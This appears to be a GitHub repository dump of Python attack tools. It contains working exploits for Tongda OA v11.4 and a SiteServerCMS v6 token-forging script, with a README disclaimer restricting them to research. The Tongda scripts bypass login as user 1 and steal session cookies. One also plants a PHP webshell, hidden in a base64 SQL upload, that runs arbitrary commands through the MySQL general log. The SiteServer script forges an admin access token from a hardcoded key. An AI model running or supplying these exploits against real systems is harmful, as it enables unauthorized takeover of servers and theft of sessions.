├── README.md └── python ├── README.md ├── tongda_v11.4_get_webroot_poc.py ├── siteservercms_v6.py └── tongda_v11.4_rce_exp.py /README.md: -------------------------------------------------------------------------------- 1 | # tools -------------------------------------------------------------------------------- /python/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Python 3 | 4 | ### SiteServerCMS 5 | 6 | - siteservercms_v6.py: SiteServerCMS 加解密算法Python3实现,适用于v6.x。 7 | 8 | ### 通达OA任意用户登录漏洞 ((影响版本:v2017、v11.x < v11.5) 9 | 10 | - tongda_v11.4_rce_exp.py: 匿名RCE ExP (脚本测试版本:v11.4); 11 | - tongda_v11.4_get_webroot_poc.py: 任意用户登录PoC(脚本测试版本:v11.4)。 12 | 13 |
14 | 15 | **免责声明:脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。** 16 | -------------------------------------------------------------------------------- /python/tongda_v11.4_get_webroot_poc.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | @ 已测试通过版本: v11.4 6 | @ https://www.github.com/zrools/tools/python 7 | @ 修改 oa_addr 后: python3 tongda_v11.4_get_webroot_poc.py 8 | ''' 9 | 10 | import requests, re 11 | 12 | session = requests.Session() 13 | 14 | oa_addr = 'http://192.168.0.3:8080' 15 | 16 | headers = { 17 | 'Accept-Encoding' : 'gzip, deflate', 18 | 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36' 19 | } 20 | 21 | 22 | def login(): 23 | login_url = '{}/logincheck_code.php'.format(oa_addr) 24 | login_code_url = '{}/general/login_code.php?codeuid=1'.format(oa_addr) 25 | 26 | login_headers = headers 27 | login_headers['X-Requested-With'] = 'XMLHttpRequest' 28 | login_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8' 29 | 30 | res = session.get(login_code_url) 31 | code_uid = res.text.strip()[-40:-2] 32 | 33 | login_data = 'UID=1&CODEUID={}'.format(code_uid) 34 | 35 | res = session.post(login_url, data=login_data, headers=login_headers) 36 | 37 | if '"status":1' in res.text: 38 | return True 39 | 40 | return False 41 | 42 | 43 | def get_path(): 44 | url = '{}/general/system/security/service.php'.format(oa_addr) 45 | 46 | res = session.get(url, headers=headers) 47 | 48 | web_path = '' 49 | # 避免正则报错 50 | for i in res.text.split("\n"): 51 | if 'WEBROOT' in i: 52 | web_path = i.split('"')[-4] 53 | 54 | return web_path.replace('\\', '\\\\') 55 | 56 | 57 | def main(): 58 | 59 | if not login(): 60 | print('login failed.') 61 | return False 62 | 63 | web_path = get_path() 64 | print('webroot: ', web_path) 65 | 66 | cookies = ';'.join([k + '=' + v for k, v in session.cookies.items()]) 67 | print('cookies: ', cookies) 68 | 69 | 70 | if __name__ == '__main__': 71 | main() 72 | -------------------------------------------------------------------------------- /python/siteservercms_v6.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ' SiteServer CMS v6.x ' 5 | ''' https://www.github.com/zrools ''' 6 | 7 | import hmac, base64, hashlib, time 8 | from Crypto.Cipher import DES 9 | 10 | 11 | def encrypt(msg, key, iv): 12 | pad = 8 - len(msg) % 8 13 | for i in range(pad): 14 | msg = msg + chr(pad) 15 | 16 | obj = DES.new(key, DES.MODE_CBC, iv) 17 | buf = obj.encrypt(msg) 18 | 19 | txt = base64.b64encode(buf).decode() 20 | txt = txt.replace('+','0add0').replace('=','0equals0').replace('&','0and0') 21 | txt = txt.replace('?','0question0').replace("'",'0quote0').replace('/','0slash0') 22 | txt = txt + '0secret0' # v6.x 23 | 24 | return txt 25 | 26 | 27 | def decrypt(msg, key, iv): 28 | msg = msg.replace('0secret0','') 29 | msg = msg.replace('0add0','+').replace('0equals0','=').replace('0and0','&') 30 | msg = msg.replace('0question0','?').replace('0quote0',"'").replace('0slash0','/') 31 | 32 | obj = DES.new(key, DES.MODE_CBC, iv) 33 | txt = obj.decrypt(base64.b64decode(msg)) 34 | 35 | return txt.decode('utf8') 36 | 37 | 38 | def get_hmac(msg, key): 39 | return base64.b64encode(hmac.new(key, msg, digestmod=hashlib.sha256).digest()) 40 | 41 | 42 | def b64_de_replace(txt): 43 | txt = txt.replace('0secret0','') # v6.x 44 | txt = txt.replace('0add0','+').replace('0equals0','=').replace('0and0','&') 45 | txt = txt.replace('0question0','?').replace('0quote0',"'").replace('0slash0','/') 46 | 47 | return txt 48 | 49 | 50 | def base64_url_encode(msg): 51 | msg = msg.replace('=', '').replace('+', '-').replace('/', '_') 52 | return msg 53 | 54 | 55 | def base64_url_decode(msg): 56 | msg = msg.replace('-', '+').replace('_', '/') 57 | l = len(msg) % 4 58 | msg = msg + '=' * l 59 | return base64.b64decode(msg) 60 | 61 | 62 | def get_access_token(userid, username, key, iv): 63 | ss_type = '{"typ":"JWT","alg":"HS256"}' 64 | ss_info = '{"UserId":%s,"UserName":"%s","ExpiresAt":"\/Date(%s)\/"}' % (userid, username, int(time.time()*1000)) 65 | 66 | b64_type = base64.b64encode(ss_type.encode()).decode() 67 | b64_info = base64.b64encode(ss_info.encode()).decode() 68 | 69 | ss_msg = '{}.{}'.format(b64_type, b64_info) 70 | ss_res = get_hmac(base64_url_encode(ss_msg).encode(), key.encode()).decode() 71 | token = '{}.{}'.format(base64_url_encode(ss_msg), base64_url_encode(ss_res)) 72 | 73 | return encrypt(token, key[:8], iv) 74 | 75 | 76 | def main(): 77 | iv = b'\x12\x34\x56\x78\x90\xAB\xCD\xEF' 78 | key = '6f2bc5f951826267' 79 | msg = 'ckhkjiP2arQ0equals00secret0' # octM 80 | 81 | # txt = encrypt(msg, key[:8], iv) 82 | # txt = decrypt(msg, key[:8], iv) 83 | 84 | txt = get_access_token(1, 'admin', key, iv) 85 | 86 | print(txt) 87 | 88 | 89 | if __name__=='__main__': 90 | main() 91 | 92 | 93 | -------------------------------------------------------------------------------- /python/tongda_v11.4_rce_exp.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | @ 已测试通过版本: v11.4 6 | @ https://www.github.com/zrools/tools/python 7 | @ 修改 oa_addr 后: python3 tongda_v11.4_rce_exp.py 8 | ''' 9 | 10 | import requests, base64, re 11 | 12 | session = requests.Session() 13 | 14 | oa_addr = 'http://192.168.0.3:8080' 15 | 16 | headers = { 17 | 'Accept-Encoding' : 'gzip, deflate', 18 | 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36' 19 | } 20 | 21 | 22 | def login(): 23 | login_url = '{}/logincheck_code.php'.format(oa_addr) 24 | login_code_url = '{}/general/login_code.php?codeuid=1'.format(oa_addr) 25 | 26 | login_headers = headers 27 | login_headers['X-Requested-With'] = 'XMLHttpRequest' 28 | login_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8' 29 | 30 | res = session.get(login_code_url) 31 | code_uid = res.text.strip()[-40:-2] 32 | 33 | login_data = 'UID=1&CODEUID={}'.format(code_uid) 34 | 35 | res = session.post(login_url, data=login_data, headers=login_headers) 36 | 37 | if '"status":1' in res.text: 38 | return True 39 | 40 | return False 41 | 42 | 43 | def upload_file(web_path): 44 | upload_url = '{}/general/system/database/sql.php'.format(oa_addr) 45 | 46 | upload_data = base64.b64decode( 'LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMDc0OTk3Njg4MjE0NjY5MjYzOTIwNTI0OTEzNjINCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3FsX2ZpbGUiOyBmaWxlbmFtZT0iZXhwLnNxbCINCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC1zcWwNCg0Kc2V0IGdsb2JhbCBnZW5lcmFsX2xvZz0nb24nOwpzZXQgZ2xvYmFsIGdlbmVyYWxfbG9nX2ZpbGU9J01ZT0FfV0VCU0hFTEwnOwpzZWxlY3QgIjw/cGhwICRjb21tYW5kPSRfR0VUWydjbWQnXTskd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOyRleGVjID0gJHdzaC0+ZXhlYygnY21kIC9jICcuJGNvbW1hbmQpOyAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOyAkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpO2VjaG8gJHN0cm91dHB1dDs/PiI7CnNldCBnbG9iYWwgZ2VuZXJhbF9sb2c9J29mZic7Cg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0yMDc0OTk3Njg4MjE0NjY5MjYzOTIwNTI0OTEzNjItLQ==') 47 | 48 | shell_path = '{}\\\\api\\\\test.php'.format(web_path) 49 | upload_data = upload_data.decode('utf8').replace('MYOA_WEBSHELL', shell_path).encode('utf8') 50 | 51 | upload_headers = headers 52 | upload_headers['Content-Type'] = 'multipart/form-data; boundary=---------------------------207499768821466926392052491362' 53 | 54 | res = session.post(upload_url, data=upload_data, headers=upload_headers) 55 | 56 | webshell = '' 57 | 58 | if '数据库脚本导入完成' in res.text: 59 | webshell = '{}/api/test.php?cmd=ipconfig'.format(oa_addr) 60 | 61 | return webshell 62 | 63 | 64 | def get_path(): 65 | url = '{}/general/system/security/service.php'.format(oa_addr) 66 | 67 | res = session.get(url, headers=headers) 68 | 69 | web_path = '' 70 | # 避免正则报错 71 | for i in res.text.split("\n"): 72 | if 'WEBROOT' in i: 73 | web_path = i.split('"')[-4] 74 | 75 | return web_path.replace('\\', '\\\\') 76 | 77 | 78 | def main(): 79 | 80 | if not login(): 81 | print('login failed.') 82 | return False 83 | 84 | web_path = get_path() 85 | print('webroot: ', web_path) 86 | 87 | cookies = ';'.join([k + '=' + v for k, v in session.cookies.items()]) 88 | print('cookies: ', cookies) 89 | 90 | if web_path: 91 | webshell = upload_file(web_path) 92 | if webshell: 93 | print('webshell: (GET) {}'.format(webshell)) 94 | return True 95 | 96 | print('getshell failed.') 97 | 98 | 99 | if __name__ == '__main__': 100 | main() 101 | --------------------------------------------------------------------------------